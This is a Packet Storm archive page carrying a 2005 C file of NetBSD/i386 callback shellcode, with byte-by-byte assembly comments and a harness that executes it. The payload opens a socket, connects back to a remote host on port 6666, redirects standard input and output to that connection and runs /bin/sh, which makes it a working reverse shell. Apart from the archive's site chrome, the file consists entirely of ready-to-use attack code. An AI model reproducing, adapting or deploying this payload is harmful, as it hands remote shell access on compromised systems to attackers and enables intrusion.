exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

netbsdCallback.txt

netbsdCallback.txt
Posted Dec 1, 2005
Authored by pasquale minervini

NetBSD/i386 2.0, callback shellcode (port 6666);

tags | shellcode
systems | netbsd
SHA-256 | 985380f3d689bef3424d8fbcad233c5443e4fe61f00063be20e410f22ba6af7e

netbsdCallback.txt

Change Mirror Download
/*
* minervini at neuralnoise dot com (c) 2005
* NetBSD/i386 2.0, callback shellcode (port 6666);
*/

#include <sys/types.h>
#include <stdio.h>
#include <string.h>

char scode[] =
"\x31\xc0" // xor %eax,%eax
"\x31\xc9" // xor %ecx,%ecx
"\x50" // push %eax
"\x40" // inc %eax
"\x50" // push %eax
"\x40" // inc %eax
"\x50" // push %eax
"\x50" // push %eax
"\xb0\x61" // mov $0x61,%al
"\xcd\x80" // int $0x80
"\x89\xc3" // mov %eax,%ebx
"\x89\xe2" // mov %esp,%edx
"\x49" // dec %ecx
"\x51" // push %ecx
"\x51" // push %ecx
"\x41" // inc %ecx
"\x68\xf5\xff\xff\xfd" // push $0xfdfffff5
"\x68\xff\xfd\xe5\xf5" // push $0xf5e5fdff
"\xb1\x10" // mov $0x10,%cl
"\x51" // push %ecx
"\xf6\x12" // notb (%edx)
"\x4a" // dec %edx
"\xe2\xfb" // loop .-3
"\xf6\x12" // notb (%edx)
"\x52" // push %edx
"\x50" // push %eax
"\x50" // push %eax
"\xb0\x62" // mov $0x62,%al
"\xcd\x80" // int $0x80
"\xb1\x03" // mov $0x3,%cl
"\x49" // dec %ecx
"\x51" // push %ecx
"\x41" // inc %ecx
"\x53" // push %ebx
"\x50" // push %eax
"\xb0\x5a" // mov $0x5a,%al
"\xcd\x80" // int $0x80
"\xe2\xf5" // loop .-9
"\x51" // push %ecx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x51" // push %ecx
"\x54" // push %esp
"\x53" // push %ebx
"\x50" // push %eax
"\xb0\x3b" // mov $0x3b,%al
"\xcd\x80"; // int $0x80

int main() {
scode[23] = ~10;
scode[24] = ~0;
scode[25] = ~0;
scode[26] = ~2;
void (*code) () = (void *) scode;
printf("length: %d\n", strlen(scode));
code();
return (0);
}
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    14 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    11 Files
  • 8
    Dec 8th
    36 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close